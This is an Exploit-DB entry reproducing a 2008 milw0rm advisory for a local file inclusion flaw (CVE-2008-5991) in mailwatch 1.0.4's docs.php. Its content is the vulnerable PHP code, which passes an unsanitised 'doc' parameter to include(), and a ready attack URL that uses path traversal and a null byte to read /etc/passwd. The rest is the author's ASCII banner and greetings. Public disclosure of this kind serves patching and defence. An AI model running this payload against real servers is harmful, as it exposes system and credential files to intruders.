mailwatch <= 1.0.4 docs.php doc Local File Inclusion Vulnerability

2008-09-24T00:00:00
ID EDB-ID:6552
Type exploitdb
Reporter dun
Modified 2008-09-24T00:00:00

Description

mailwatch <= 1.0.4 (docs.php doc) Local File Inclusion Vulnerability. CVE-2008-5991. Webapps exploit for php platform

                                        
                                            
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##################################################################
 #  [ mailwatch &lt;= 1.0.4 ]   Local File Inclusion Vulnerability   #
 ##################################################################
 #
 # Script site: http://sourceforge.net/projects/mailwatch/
 #
 # Vuln: 
 # http://site.com/[mailwatch-1.0.4]/mailscanner/docs.php?doc=../../../../../../../etc/passwd%00
 #      
 #
 # Bug: ./mailwatch-1.0.4/mailscanner/docs.php (lines: 23-34)
 #
 # ...
 #	if (isset($_GET[doc])) {
 #	 include("docs/".$_GET[doc].".html");
 #	} else {
 #	 echo "&lt;TABLE WIDTH=100% CLASS=\"BOXTABLE\"&gt;\n";
 #	 echo " &lt;TR&gt;\n";
 #	 echo "  &lt;TD&gt;\n";
 #	 echo "  &lt;H1&gt;Documentation&lt;/H1&gt;\n";
 #	 echo "  This page does not require authentication, so you can put links to your site documentation here and allow your users to access it if you wish.";
 #	 echo "  &lt;/TD&gt;\n";
 #	 echo " &lt;/TR&gt;\n";
 #	 echo "&lt;/TABLE&gt;\n";
 #	}
 # ... 			    
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-24]